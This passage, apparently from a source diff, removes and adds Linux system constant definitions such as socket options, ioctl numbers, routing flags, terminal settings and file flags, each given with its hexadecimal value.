-- PT_FPR15 = 0x158
-- PT_FPR2 = 0xf0
-- PT_FPR3 = 0xf8
-- PT_FPR4 = 0x100
-- PT_FPR5 = 0x108
-- PT_FPR6 = 0x110
-- PT_FPR7 = 0x118
-- PT_FPR8 = 0x120
-- PT_FPR9 = 0x128
-- PT_GPR0 = 0x10
-- PT_GPR1 = 0x18
-- PT_GPR10 = 0x60
-- PT_GPR11 = 0x68
-- PT_GPR12 = 0x70
-- PT_GPR13 = 0x78
-- PT_GPR14 = 0x80
-- PT_GPR15 = 0x88
-- PT_GPR2 = 0x20
-- PT_GPR3 = 0x28
-- PT_GPR4 = 0x30
-- PT_GPR5 = 0x38
-- PT_GPR6 = 0x40
-- PT_GPR7 = 0x48
-- PT_GPR8 = 0x50
-- PT_GPR9 = 0x58
-- PT_IEEE_IP = 0x1a8
-- PT_LASTOFF = 0x1a8
-- PT_ORIGGPR2 = 0xd0
-- PT_PSWADDR = 0x8
-- PT_PSWMASK = 0x0
-- RLIMIT_AS = 0x9
-- RLIMIT_CORE = 0x4
-- RLIMIT_CPU = 0x0
-- RLIMIT_DATA = 0x2
-- RLIMIT_FSIZE = 0x1
-- RLIMIT_LOCKS = 0xa
-- RLIMIT_MEMLOCK = 0x8
-- RLIMIT_MSGQUEUE = 0xc
-- RLIMIT_NICE = 0xd
-- RLIMIT_NOFILE = 0x7
-- RLIMIT_NPROC = 0x6
-- RLIMIT_RSS = 0x5
-- RLIMIT_RTPRIO = 0xe
-- RLIMIT_RTTIME = 0xf
-- RLIMIT_SIGPENDING = 0xb
-- RLIMIT_STACK = 0x3
-- RLIM_INFINITY = -0x1
-- RTAX_ADVMSS = 0x8
-- RTAX_CC_ALGO = 0x10
-- RTAX_CWND = 0x7
-- RTAX_FEATURES = 0xc
-- RTAX_FEATURE_ALLFRAG = 0x8
-- RTAX_FEATURE_ECN = 0x1
-- RTAX_FEATURE_MASK = 0xf
-- RTAX_FEATURE_SACK = 0x2
-- RTAX_FEATURE_TIMESTAMP = 0x4
-- RTAX_HOPLIMIT = 0xa
-- RTAX_INITCWND = 0xb
-- RTAX_INITRWND = 0xe
-- RTAX_LOCK = 0x1
-- RTAX_MAX = 0x10
-- RTAX_MTU = 0x2
-- RTAX_QUICKACK = 0xf
-- RTAX_REORDERING = 0x9
-- RTAX_RTO_MIN = 0xd
-- RTAX_RTT = 0x4
-- RTAX_RTTVAR = 0x5
-- RTAX_SSTHRESH = 0x6
-- RTAX_UNSPEC = 0x0
-- RTAX_WINDOW = 0x3
-- RTA_ALIGNTO = 0x4
-- RTA_MAX = 0x19
-- RTCF_DIRECTSRC = 0x4000000
-- RTCF_DOREDIRECT = 0x1000000
-- RTCF_LOG = 0x2000000
-- RTCF_MASQ = 0x400000
-- RTCF_NAT = 0x800000
-- RTCF_VALVE = 0x200000
-- RTF_ADDRCLASSMASK = 0xf8000000
-- RTF_ADDRCONF = 0x40000
-- RTF_ALLONLINK = 0x20000
-- RTF_BROADCAST = 0x10000000
-- RTF_CACHE = 0x1000000
-- RTF_DEFAULT = 0x10000
-- RTF_DYNAMIC = 0x10
-- RTF_FLOW = 0x2000000
-- RTF_GATEWAY = 0x2
-- RTF_HOST = 0x4
-- RTF_INTERFACE = 0x40000000
-- RTF_IRTT = 0x100
-- RTF_LINKRT = 0x100000
-- RTF_LOCAL = 0x80000000
-- RTF_MODIFIED = 0x20
-- RTF_MSS = 0x40
-- RTF_MTU = 0x40
-- RTF_MULTICAST = 0x20000000
-- RTF_NAT = 0x8000000
-- RTF_NOFORWARD = 0x1000
-- RTF_NONEXTHOP = 0x200000
-- RTF_NOPMTUDISC = 0x4000
-- RTF_POLICY = 0x4000000
-- RTF_REINSTATE = 0x8
-- RTF_REJECT = 0x200
-- RTF_STATIC = 0x400
-- RTF_THROW = 0x2000
-- RTF_UP = 0x1
-- RTF_WINDOW = 0x80
-- RTF_XRESOLVE = 0x800
-- RTM_BASE = 0x10
-- RTM_DELACTION = 0x31
-- RTM_DELADDR = 0x15
-- RTM_DELADDRLABEL = 0x49
-- RTM_DELLINK = 0x11
-- RTM_DELMDB = 0x55
-- RTM_DELNEIGH = 0x1d
-- RTM_DELNSID = 0x59
-- RTM_DELQDISC = 0x25
-- RTM_DELROUTE = 0x19
-- RTM_DELRULE = 0x21
-- RTM_DELTCLASS = 0x29
-- RTM_DELTFILTER = 0x2d
-- RTM_F_CLONED = 0x200
-- RTM_F_EQUALIZE = 0x400
-- RTM_F_LOOKUP_TABLE = 0x1000
-- RTM_F_NOTIFY = 0x100
-- RTM_F_PREFIX = 0x800
-- RTM_GETACTION = 0x32
-- RTM_GETADDR = 0x16
-- RTM_GETADDRLABEL = 0x4a
-- RTM_GETANYCAST = 0x3e
-- RTM_GETDCB = 0x4e
-- RTM_GETLINK = 0x12
-- RTM_GETMDB = 0x56
-- RTM_GETMULTICAST = 0x3a
-- RTM_GETNEIGH = 0x1e
-- RTM_GETNEIGHTBL = 0x42
-- RTM_GETNETCONF = 0x52
-- RTM_GETNSID = 0x5a
-- RTM_GETQDISC = 0x26
-- RTM_GETROUTE = 0x1a
-- RTM_GETRULE = 0x22
-- RTM_GETSTATS = 0x5e
-- RTM_GETTCLASS = 0x2a
-- RTM_GETTFILTER = 0x2e
-- RTM_MAX = 0x5f
-- RTM_NEWACTION = 0x30
-- RTM_NEWADDR = 0x14
-- RTM_NEWADDRLABEL = 0x48
-- RTM_NEWLINK = 0x10
-- RTM_NEWMDB = 0x54
-- RTM_NEWNDUSEROPT = 0x44
-- RTM_NEWNEIGH = 0x1c
-- RTM_NEWNEIGHTBL = 0x40
-- RTM_NEWNETCONF = 0x50
-- RTM_NEWNSID = 0x58
-- RTM_NEWPREFIX = 0x34
-- RTM_NEWQDISC = 0x24
-- RTM_NEWROUTE = 0x18
-- RTM_NEWRULE = 0x20
-- RTM_NEWSTATS = 0x5c
-- RTM_NEWTCLASS = 0x28
-- RTM_NEWTFILTER = 0x2c
-- RTM_NR_FAMILIES = 0x14
-- RTM_NR_MSGTYPES = 0x50
-- RTM_SETDCB = 0x4f
-- RTM_SETLINK = 0x13
-- RTM_SETNEIGHTBL = 0x43
-- RTNH_ALIGNTO = 0x4
-- RTNH_COMPARE_MASK = 0x19
-- RTNH_F_DEAD = 0x1
-- RTNH_F_LINKDOWN = 0x10
-- RTNH_F_OFFLOAD = 0x8
-- RTNH_F_ONLINK = 0x4
-- RTNH_F_PERVASIVE = 0x2
-- RTN_MAX = 0xb
-- RTPROT_BABEL = 0x2a
-- RTPROT_BIRD = 0xc
-- RTPROT_BOOT = 0x3
-- RTPROT_DHCP = 0x10
-- RTPROT_DNROUTED = 0xd
-- RTPROT_GATED = 0x8
-- RTPROT_KERNEL = 0x2
-- RTPROT_MROUTED = 0x11
-- RTPROT_MRT = 0xa
-- RTPROT_NTK = 0xf
-- RTPROT_RA = 0x9
-- RTPROT_REDIRECT = 0x1
-- RTPROT_STATIC = 0x4
-- RTPROT_UNSPEC = 0x0
-- RTPROT_XORP = 0xe
-- RTPROT_ZEBRA = 0xb
-- RT_CLASS_DEFAULT = 0xfd
-- RT_CLASS_LOCAL = 0xff
-- RT_CLASS_MAIN = 0xfe
-- RT_CLASS_MAX = 0xff
-- RT_CLASS_UNSPEC = 0x0
-- RUSAGE_CHILDREN = -0x1
-- RUSAGE_SELF = 0x0
-- RUSAGE_THREAD = 0x1
-- SCM_CREDENTIALS = 0x2
-- SCM_RIGHTS = 0x1
-- SCM_TIMESTAMP = 0x1d
-- SCM_TIMESTAMPING = 0x25
-- SCM_TIMESTAMPING_OPT_STATS = 0x36
-- SCM_TIMESTAMPNS = 0x23
-- SCM_WIFI_STATUS = 0x29
-- SECCOMP_MODE_DISABLED = 0x0
-- SECCOMP_MODE_FILTER = 0x2
-- SECCOMP_MODE_STRICT = 0x1
-- SHUT_RD = 0x0
-- SHUT_RDWR = 0x2
-- SHUT_WR = 0x1
-- SIOCADDDLCI = 0x8980
-- SIOCADDMULTI = 0x8931
-- SIOCADDRT = 0x890b
-- SIOCATMARK = 0x8905
-- SIOCBONDCHANGEACTIVE = 0x8995
-- SIOCBONDENSLAVE = 0x8990
-- SIOCBONDINFOQUERY = 0x8994
-- SIOCBONDRELEASE = 0x8991
-- SIOCBONDSETHWADDR = 0x8992
-- SIOCBONDSLAVEINFOQUERY = 0x8993
-- SIOCBRADDBR = 0x89a0
-- SIOCBRADDIF = 0x89a2
-- SIOCBRDELBR = 0x89a1
-- SIOCBRDELIF = 0x89a3
-- SIOCDARP = 0x8953
-- SIOCDELDLCI = 0x8981
-- SIOCDELMULTI = 0x8932
-- SIOCDELRT = 0x890c
-- SIOCDEVPRIVATE = 0x89f0
-- SIOCDIFADDR = 0x8936
-- SIOCDRARP = 0x8960
-- SIOCETHTOOL = 0x8946
-- SIOCGARP = 0x8954
-- SIOCGHWTSTAMP = 0x89b1
-- SIOCGIFADDR = 0x8915
-- SIOCGIFBR = 0x8940
-- SIOCGIFBRDADDR = 0x8919
-- SIOCGIFCONF = 0x8912
-- SIOCGIFCOUNT = 0x8938
-- SIOCGIFDSTADDR = 0x8917
-- SIOCGIFENCAP = 0x8925
-- SIOCGIFFLAGS = 0x8913
-- SIOCGIFHWADDR = 0x8927
-- SIOCGIFINDEX = 0x8933
-- SIOCGIFMAP = 0x8970
-- SIOCGIFMEM = 0x891f
-- SIOCGIFMETRIC = 0x891d
-- SIOCGIFMTU = 0x8921
-- SIOCGIFNAME = 0x8910
-- SIOCGIFNETMASK = 0x891b
-- SIOCGIFPFLAGS = 0x8935
-- SIOCGIFSLAVE = 0x8929
-- SIOCGIFTXQLEN = 0x8942
-- SIOCGIFVLAN = 0x8982
-- SIOCGMIIPHY = 0x8947
-- SIOCGMIIREG = 0x8948
-- SIOCGPGRP = 0x8904
-- SIOCGRARP = 0x8961
-- SIOCGSKNS = 0x894c
-- SIOCGSTAMP = 0x8906
-- SIOCGSTAMPNS = 0x8907
-- SIOCINQ = 0x541b
-- SIOCOUTQ = 0x5411
-- SIOCOUTQNSD = 0x894b
-- SIOCPROTOPRIVATE = 0x89e0
-- SIOCRTMSG = 0x890d
-- SIOCSARP = 0x8955
-- SIOCSHWTSTAMP = 0x89b0
-- SIOCSIFADDR = 0x8916
-- SIOCSIFBR = 0x8941
-- SIOCSIFBRDADDR = 0x891a
-- SIOCSIFDSTADDR = 0x8918
-- SIOCSIFENCAP = 0x8926
-- SIOCSIFFLAGS = 0x8914
-- SIOCSIFHWADDR = 0x8924
-- SIOCSIFHWBROADCAST = 0x8937
-- SIOCSIFLINK = 0x8911
-- SIOCSIFMAP = 0x8971
-- SIOCSIFMEM = 0x8920
-- SIOCSIFMETRIC = 0x891e
-- SIOCSIFMTU = 0x8922
-- SIOCSIFNAME = 0x8923
-- SIOCSIFNETMASK = 0x891c
-- SIOCSIFPFLAGS = 0x8934
-- SIOCSIFSLAVE = 0x8930
-- SIOCSIFTXQLEN = 0x8943
-- SIOCSIFVLAN = 0x8983
-- SIOCSMIIREG = 0x8949
-- SIOCSPGRP = 0x8902
-- SIOCSRARP = 0x8962
-- SIOCWANDEV = 0x894a
-- SOCK_CLOEXEC = 0x80000
-- SOCK_DCCP = 0x6
-- SOCK_DGRAM = 0x2
-- SOCK_IOC_TYPE = 0x89
-- SOCK_NONBLOCK = 0x800
-- SOCK_PACKET = 0xa
-- SOCK_RAW = 0x3
-- SOCK_RDM = 0x4
-- SOCK_SEQPACKET = 0x5
-- SOCK_STREAM = 0x1
-- SOL_AAL = 0x109
-- SOL_ALG = 0x117
-- SOL_ATM = 0x108
-- SOL_CAIF = 0x116
-- SOL_CAN_BASE = 0x64
-- SOL_DCCP = 0x10d
-- SOL_DECNET = 0x105
-- SOL_ICMPV6 = 0x3a
-- SOL_IP = 0x0
-- SOL_IPV6 = 0x29
-- SOL_IRDA = 0x10a
-- SOL_IUCV = 0x115
-- SOL_KCM = 0x119
-- SOL_LLC = 0x10c
-- SOL_NETBEUI = 0x10b
-- SOL_NETLINK = 0x10e
-- SOL_NFC = 0x118
-- SOL_PACKET = 0x107
-- SOL_PNPIPE = 0x113
-- SOL_PPPOL2TP = 0x111
-- SOL_RAW = 0xff
-- SOL_RDS = 0x114
-- SOL_RXRPC = 0x110
-- SOL_SOCKET = 0x1
-- SOL_TCP = 0x6
-- SOL_TIPC = 0x10f
-- SOL_X25 = 0x106
-- SOMAXCONN = 0x80
-- SO_ACCEPTCONN = 0x1e
-- SO_ATTACH_BPF = 0x32
-- SO_ATTACH_FILTER = 0x1a
-- SO_ATTACH_REUSEPORT_CBPF = 0x33
-- SO_ATTACH_REUSEPORT_EBPF = 0x34
-- SO_BINDTODEVICE = 0x19
-- SO_BPF_EXTENSIONS = 0x30
-- SO_BROADCAST = 0x6
-- SO_BSDCOMPAT = 0xe
-- SO_BUSY_POLL = 0x2e
-- SO_CNX_ADVICE = 0x35
-- SO_DEBUG = 0x1
-- SO_DETACH_BPF = 0x1b
-- SO_DETACH_FILTER = 0x1b
-- SO_DOMAIN = 0x27
-- SO_DONTROUTE = 0x5
-- SO_ERROR = 0x4
-- SO_GET_FILTER = 0x1a
-- SO_INCOMING_CPU = 0x31
-- SO_KEEPALIVE = 0x9
-- SO_LINGER = 0xd
-- SO_LOCK_FILTER = 0x2c
-- SO_MARK = 0x24
-- SO_MAX_PACING_RATE = 0x2f
-- SO_NOFCS = 0x2b
-- SO_NO_CHECK = 0xb
-- SO_OOBINLINE = 0xa
-- SO_PASSCRED = 0x10
-- SO_PASSSEC = 0x22
-- SO_PEEK_OFF = 0x2a
-- SO_PEERCRED = 0x11
-- SO_PEERNAME = 0x1c
-- SO_PEERSEC = 0x1f
-- SO_PRIORITY = 0xc
-- SO_PROTOCOL = 0x26
-- SO_RCVBUF = 0x8
-- SO_RCVBUFFORCE = 0x21
-- SO_RCVLOWAT = 0x12
-- SO_RCVTIMEO = 0x14
-- SO_REUSEADDR = 0x2
-- SO_REUSEPORT = 0xf
-- SO_RXQ_OVFL = 0x28
-- SO_SECURITY_AUTHENTICATION = 0x16
-- SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-- SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-- SO_SELECT_ERR_QUEUE = 0x2d
-- SO_SNDBUF = 0x7
-- SO_SNDBUFFORCE = 0x20
-- SO_SNDLOWAT = 0x13
-- SO_SNDTIMEO = 0x15
-- SO_TIMESTAMP = 0x1d
-- SO_TIMESTAMPING = 0x25
-- SO_TIMESTAMPNS = 0x23
-- SO_TYPE = 0x3
-- SO_VM_SOCKETS_BUFFER_MAX_SIZE = 0x2
-- SO_VM_SOCKETS_BUFFER_MIN_SIZE = 0x1
-- SO_VM_SOCKETS_BUFFER_SIZE = 0x0
-- SO_VM_SOCKETS_CONNECT_TIMEOUT = 0x6
-- SO_VM_SOCKETS_NONBLOCK_TXRX = 0x7
-- SO_VM_SOCKETS_PEER_HOST_VM_ID = 0x3
-- SO_VM_SOCKETS_TRUSTED = 0x5
-- SO_WIFI_STATUS = 0x29
-- SPLICE_F_GIFT = 0x8
-- SPLICE_F_MORE = 0x4
-- SPLICE_F_MOVE = 0x1
-- SPLICE_F_NONBLOCK = 0x2
-- S_BLKSIZE = 0x200
-- S_IEXEC = 0x40
-- S_IFBLK = 0x6000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFIFO = 0x1000
-- S_IFLNK = 0xa000
-- S_IFMT = 0xf000
-- S_IFREG = 0x8000
-- S_IFSOCK = 0xc000
-- S_IREAD = 0x100
-- S_IRGRP = 0x20
-- S_IROTH = 0x4
-- S_IRUSR = 0x100
-- S_IRWXG = 0x38
-- S_IRWXO = 0x7
-- S_IRWXU = 0x1c0
-- S_ISGID = 0x400
-- S_ISUID = 0x800
-- S_ISVTX = 0x200
-- S_IWGRP = 0x10
-- S_IWOTH = 0x2
-- S_IWRITE = 0x80
-- S_IWUSR = 0x80
-- S_IXGRP = 0x8
-- S_IXOTH = 0x1
-- S_IXUSR = 0x40
-- TAB0 = 0x0
-- TAB1 = 0x800
-- TAB2 = 0x1000
-- TAB3 = 0x1800
-- TABDLY = 0x1800
-- TASKSTATS_CMD_ATTR_MAX = 0x4
-- TASKSTATS_CMD_MAX = 0x2
-- TASKSTATS_GENL_NAME = "TASKSTATS"
-- TASKSTATS_GENL_VERSION = 0x1
-- TASKSTATS_TYPE_MAX = 0x6
-- TASKSTATS_VERSION = 0x8
-- TCFLSH = 0x540b
-- TCGETA = 0x5405
-- TCGETS = 0x5401
-- TCGETS2 = 0x802c542a
-- TCGETX = 0x5432
-- TCIFLUSH = 0x0
-- TCIOFF = 0x2
-- TCIOFLUSH = 0x2
-- TCION = 0x3
-- TCOFLUSH = 0x1
-- TCOOFF = 0x0
-- TCOON = 0x1
-- TCP_CC_INFO = 0x1a
-- TCP_CONGESTION = 0xd
-- TCP_COOKIE_IN_ALWAYS = 0x1
-- TCP_COOKIE_MAX = 0x10
-- TCP_COOKIE_MIN = 0x8
-- TCP_COOKIE_OUT_NEVER = 0x2
-- TCP_COOKIE_PAIR_SIZE = 0x20
-- TCP_COOKIE_TRANSACTIONS = 0xf
-- TCP_CORK = 0x3
-- TCP_DEFER_ACCEPT = 0x9
-- TCP_FASTOPEN = 0x17
-- TCP_INFO = 0xb
-- TCP_KEEPCNT = 0x6
-- TCP_KEEPIDLE = 0x4
-- TCP_KEEPINTVL = 0x5
-- TCP_LINGER2 = 0x8
-- TCP_MAXSEG = 0x2
-- TCP_MAXWIN = 0xffff
-- TCP_MAX_WINSHIFT = 0xe
-- TCP_MD5SIG = 0xe
-- TCP_MD5SIG_MAXKEYLEN = 0x50
-- TCP_MSS = 0x200
-- TCP_MSS_DEFAULT = 0x218
-- TCP_MSS_DESIRED = 0x4c4
-- TCP_NODELAY = 0x1
-- TCP_NOTSENT_LOWAT = 0x19
-- TCP_QUEUE_SEQ = 0x15
-- TCP_QUICKACK = 0xc
-- TCP_REPAIR = 0x13
-- TCP_REPAIR_OPTIONS = 0x16
-- TCP_REPAIR_QUEUE = 0x14
-- TCP_REPAIR_WINDOW = 0x1d
-- TCP_SAVED_SYN = 0x1c
-- TCP_SAVE_SYN = 0x1b
-- TCP_SYNCNT = 0x7
-- TCP_S_DATA_IN = 0x4
-- TCP_S_DATA_OUT = 0x8
-- TCP_THIN_DUPACK = 0x11
-- TCP_THIN_LINEAR_TIMEOUTS = 0x10
-- TCP_TIMESTAMP = 0x18
-- TCP_USER_TIMEOUT = 0x12
-- TCP_WINDOW_CLAMP = 0xa
-- TCSAFLUSH = 0x2
-- TCSBRK = 0x5409
-- TCSBRKP = 0x5425
-- TCSETA = 0x5406
-- TCSETAF = 0x5408
-- TCSETAW = 0x5407
-- TCSETS = 0x5402
-- TCSETS2 = 0x402c542b
-- TCSETSF = 0x5404
-- TCSETSF2 = 0x402c542d
-- TCSETSW = 0x5403
-- TCSETSW2 = 0x402c542c
-- TCSETX = 0x5433
-- TCSETXF = 0x5434
-- TCSETXW = 0x5435
-- TCXONC = 0x540a
-- TIOCCBRK = 0x5428
-- TIOCCONS = 0x541d
-- TIOCEXCL = 0x540c
-- TIOCGDEV = 0x80045432
-- TIOCGETD = 0x5424
-- TIOCGEXCL = 0x80045440
-- TIOCGICOUNT = 0x545d
-- TIOCGLCKTRMIOS = 0x5456
-- TIOCGPGRP = 0x540f
-- TIOCGPKT = 0x80045438
-- TIOCGPTLCK = 0x80045439
-- TIOCGPTN = 0x80045430
-- TIOCGRS485 = 0x542e
-- TIOCGSERIAL = 0x541e
-- TIOCGSID = 0x5429
-- TIOCGSOFTCAR = 0x5419
-- TIOCGWINSZ = 0x5413
-- TIOCINQ = 0x541b
-- TIOCLINUX = 0x541c
-- TIOCMBIC = 0x5417
-- TIOCMBIS = 0x5416
-- TIOCMGET = 0x5415
-- TIOCMIWAIT = 0x545c
-- TIOCMSET = 0x5418
-- TIOCM_CAR = 0x40
-- TIOCM_CD = 0x40
-- TIOCM_CTS = 0x20
-- TIOCM_DSR = 0x100
-- TIOCM_DTR = 0x2
-- TIOCM_LE = 0x1
-- TIOCM_RI = 0x80
-- TIOCM_RNG = 0x80
-- TIOCM_RTS = 0x4
-- TIOCM_SR = 0x10
-- TIOCM_ST = 0x8
-- TIOCNOTTY = 0x5422
-- TIOCNXCL = 0x540d
-- TIOCOUTQ = 0x5411
-- TIOCPKT = 0x5420
-- TIOCPKT_DATA = 0x0
-- TIOCPKT_DOSTOP = 0x20
-- TIOCPKT_FLUSHREAD = 0x1
-- TIOCPKT_FLUSHWRITE = 0x2
-- TIOCPKT_IOCTL = 0x40
-- TIOCPKT_NOSTOP = 0x10
-- TIOCPKT_START = 0x8
-- TIOCPKT_STOP = 0x4
-- TIOCSBRK = 0x5427
-- TIOCSCTTY = 0x540e
-- TIOCSERCONFIG = 0x5453
-- TIOCSERGETLSR = 0x5459
-- TIOCSERGETMULTI = 0x545a
-- TIOCSERGSTRUCT = 0x5458
-- TIOCSERGWILD = 0x5454
-- TIOCSERSETMULTI = 0x545b
-- TIOCSERSWILD = 0x5455
-- TIOCSER_TEMT = 0x1
-- TIOCSETD = 0x5423
-- TIOCSIG = 0x40045436
-- TIOCSLCKTRMIOS = 0x5457
-- TIOCSPGRP = 0x5410
-- TIOCSPTLCK = 0x40045431
-- TIOCSRS485 = 0x542f
-- TIOCSSERIAL = 0x541f
-- TIOCSSOFTCAR = 0x541a
-- TIOCSTI = 0x5412
-- TIOCSWINSZ = 0x5414
-- TIOCVHANGUP = 0x5437
-- TOSTOP = 0x100
-- TS_COMM_LEN = 0x20
-- TUNATTACHFILTER = 0x401054d5
-- TUNDETACHFILTER = 0x401054d6
-- TUNGETFEATURES = 0x800454cf
-- TUNGETFILTER = 0x801054db
-- TUNGETIFF = 0x800454d2
-- TUNGETSNDBUF = 0x800454d3
-- TUNGETVNETBE = 0x800454df
-- TUNGETVNETHDRSZ = 0x800454d7
-- TUNGETVNETLE = 0x800454dd
-- TUNSETDEBUG = 0x400454c9
-- TUNSETGROUP = 0x400454ce
-- TUNSETIFF = 0x400454ca
-- TUNSETIFINDEX = 0x400454da
-- TUNSETLINK = 0x400454cd
-- TUNSETNOCSUM = 0x400454c8
-- TUNSETOFFLOAD = 0x400454d0
-- TUNSETOWNER = 0x400454cc
-- TUNSETPERSIST = 0x400454cb
-- TUNSETQUEUE = 0x400454d9
-- TUNSETSNDBUF = 0x400454d4
-- TUNSETTXFILTER = 0x400454d1
-- TUNSETVNETBE = 0x400454de
-- TUNSETVNETHDRSZ = 0x400454d8
-- TUNSETVNETLE = 0x400454dc
-- UMOUNT_NOFOLLOW = 0x8
-- VDISCARD = 0xd
-- VEOF = 0x4
-- VEOL = 0xb
-- VEOL2 = 0x10
-- VERASE = 0x2
-- VINTR = 0x0
-- VKILL = 0x3
-- VLNEXT = 0xf
-- VMADDR_CID_ANY = 0xffffffff
-- VMADDR_CID_HOST = 0x2
-- VMADDR_CID_HYPERVISOR = 0x0
-- VMADDR_CID_RESERVED = 0x1
-- VMADDR_PORT_ANY = 0xffffffff
-- VMIN = 0x6
-- VM_SOCKETS_INVALID_VERSION = 0xffffffff
-- VQUIT = 0x1
-- VREPRINT = 0xc
-- VSTART = 0x8
-- VSTOP = 0x9
-- VSUSP = 0xa
-- VSWTC = 0x7
-- VT0 = 0x0
-- VT1 = 0x4000
-- VTDLY = 0x4000
-- VTIME = 0x5
-- VWERASE = 0xe
-- WALL = 0x40000000
-- WCLONE = 0x80000000
-- WCONTINUED = 0x8
-- WEXITED = 0x4
-- WNOHANG = 0x1
-- WNOTHREAD = 0x20000000
-- WNOWAIT = 0x1000000
-- WORDSIZE = 0x40
-- WSTOPPED = 0x2
-- WUNTRACED = 0x2
-- XATTR_CREATE = 0x1
-- XATTR_REPLACE = 0x2
-- XCASE = 0x4
-- XTABS = 0x1800
-+ B1000000 = 0x1008
-+ B115200 = 0x1002
-+ B1152000 = 0x1009
-+ B1500000 = 0x100a
-+ B2000000 = 0x100b
-+ B230400 = 0x1003
-+ B2500000 = 0x100c
-+ B3000000 = 0x100d
-+ B3500000 = 0x100e
-+ B4000000 = 0x100f
-+ B460800 = 0x1004
-+ B500000 = 0x1005
-+ B57600 = 0x1001
-+ B576000 = 0x1006
-+ B921600 = 0x1007
-+ BLKBSZGET = 0x80081270
-+ BLKBSZSET = 0x40081271
-+ BLKFLSBUF = 0x1261
-+ BLKFRAGET = 0x1265
-+ BLKFRASET = 0x1264
-+ BLKGETSIZE = 0x1260
-+ BLKGETSIZE64 = 0x80081272
-+ BLKPBSZGET = 0x127b
-+ BLKRAGET = 0x1263
-+ BLKRASET = 0x1262
-+ BLKROGET = 0x125e
-+ BLKROSET = 0x125d
-+ BLKRRPART = 0x125f
-+ BLKSECTGET = 0x1267
-+ BLKSECTSET = 0x1266
-+ BLKSSZGET = 0x1268
-+ BOTHER = 0x1000
-+ BS1 = 0x2000
-+ BSDLY = 0x2000
-+ CBAUD = 0x100f
-+ CBAUDEX = 0x1000
-+ CIBAUD = 0x100f0000
-+ CLOCAL = 0x800
-+ CR1 = 0x200
-+ CR2 = 0x400
-+ CR3 = 0x600
-+ CRDLY = 0x600
-+ CREAD = 0x80
-+ CS6 = 0x10
-+ CS7 = 0x20
-+ CS8 = 0x30
-+ CSIZE = 0x30
-+ CSTOPB = 0x40
-+ ECHOCTL = 0x200
-+ ECHOE = 0x10
-+ ECHOK = 0x20
-+ ECHOKE = 0x800
-+ ECHONL = 0x40
-+ ECHOPRT = 0x400
-+ EFD_CLOEXEC = 0x80000
-+ EFD_NONBLOCK = 0x800
-+ EPOLL_CLOEXEC = 0x80000
-+ EXTPROC = 0x10000
-+ FF1 = 0x8000
-+ FFDLY = 0x8000
-+ FLUSHO = 0x1000
-+ FS_IOC_ENABLE_VERITY = 0x40806685
-+ FS_IOC_GETFLAGS = 0x80086601
-+ FS_IOC_GET_ENCRYPTION_POLICY = 0x400c6615
-+ FS_IOC_GET_ENCRYPTION_PWSALT = 0x40106614
-+ FS_IOC_SET_ENCRYPTION_POLICY = 0x800c6613
-+ F_GETLK = 0x5
-+ F_GETLK64 = 0x5
-+ F_GETOWN = 0x9
-+ F_RDLCK = 0x0
-+ F_SETLK = 0x6
-+ F_SETLK64 = 0x6
-+ F_SETLKW = 0x7
-+ F_SETLKW64 = 0x7
-+ F_SETOWN = 0x8
-+ F_UNLCK = 0x2
-+ F_WRLCK = 0x1
-+ HUPCL = 0x400
-+ ICANON = 0x2
-+ IEXTEN = 0x8000
-+ IN_CLOEXEC = 0x80000
-+ IN_NONBLOCK = 0x800
-+ IOCTL_VM_SOCKETS_GET_LOCAL_CID = 0x7b9
-+ ISIG = 0x1
-+ IUCLC = 0x200
-+ IXOFF = 0x1000
-+ IXON = 0x400
-+ MAP_ANON = 0x20
-+ MAP_ANONYMOUS = 0x20
-+ MAP_DENYWRITE = 0x800
-+ MAP_EXECUTABLE = 0x1000
-+ MAP_GROWSDOWN = 0x100
-+ MAP_HUGETLB = 0x40000
-+ MAP_LOCKED = 0x2000
-+ MAP_NONBLOCK = 0x10000
-+ MAP_NORESERVE = 0x4000
-+ MAP_POPULATE = 0x8000
-+ MAP_STACK = 0x20000
-+ MAP_SYNC = 0x80000
-+ MCL_CURRENT = 0x1
-+ MCL_FUTURE = 0x2
-+ MCL_ONFAULT = 0x4
-+ NFDBITS = 0x40
-+ NLDLY = 0x100
-+ NOFLSH = 0x80
-+ NS_GET_NSTYPE = 0xb703
-+ NS_GET_OWNER_UID = 0xb704
-+ NS_GET_PARENT = 0xb702
-+ NS_GET_USERNS = 0xb701
-+ OLCUC = 0x2
-+ ONLCR = 0x4
-+ O_APPEND = 0x400
-+ O_ASYNC = 0x2000
-+ O_CLOEXEC = 0x80000
-+ O_CREAT = 0x40
-+ O_DIRECT = 0x4000
-+ O_DIRECTORY = 0x10000
-+ O_DSYNC = 0x1000
-+ O_EXCL = 0x80
-+ O_FSYNC = 0x101000
-+ O_LARGEFILE = 0x0
-+ O_NDELAY = 0x800
-+ O_NOATIME = 0x40000
-+ O_NOCTTY = 0x100
-+ O_NOFOLLOW = 0x20000
-+ O_NONBLOCK = 0x800
-+ O_PATH = 0x200000
-+ O_RSYNC = 0x101000
-+ O_SYNC = 0x101000
-+ O_TMPFILE = 0x410000
-+ O_TRUNC = 0x200
-+ PARENB = 0x100
-+ PARODD = 0x200
-+ PENDIN = 0x4000
-+ PERF_EVENT_IOC_DISABLE = 0x2401
-+ PERF_EVENT_IOC_ENABLE = 0x2400
-+ PERF_EVENT_IOC_ID = 0x80082407
-+ PERF_EVENT_IOC_MODIFY_ATTRIBUTES = 0x4008240b
-+ PERF_EVENT_IOC_PAUSE_OUTPUT = 0x40042409
-+ PERF_EVENT_IOC_PERIOD = 0x40082404
-+ PERF_EVENT_IOC_QUERY_BPF = 0xc008240a
-+ PERF_EVENT_IOC_REFRESH = 0x2402
-+ PERF_EVENT_IOC_RESET = 0x2403
-+ PERF_EVENT_IOC_SET_BPF = 0x40042408
-+ PERF_EVENT_IOC_SET_FILTER = 0x40082406
-+ PERF_EVENT_IOC_SET_OUTPUT = 0x2405
-+ PPPIOCATTACH = 0x4004743d
-+ PPPIOCATTCHAN = 0x40047438
-+ PPPIOCCONNECT = 0x4004743a
-+ PPPIOCDETACH = 0x4004743c
-+ PPPIOCDISCONN = 0x7439
-+ PPPIOCGASYNCMAP = 0x80047458
-+ PPPIOCGCHAN = 0x80047437
-+ PPPIOCGDEBUG = 0x80047441
-+ PPPIOCGFLAGS = 0x8004745a
-+ PPPIOCGIDLE = 0x8010743f
-+ PPPIOCGIDLE32 = 0x8008743f
-+ PPPIOCGIDLE64 = 0x8010743f
-+ PPPIOCGL2TPSTATS = 0x80487436
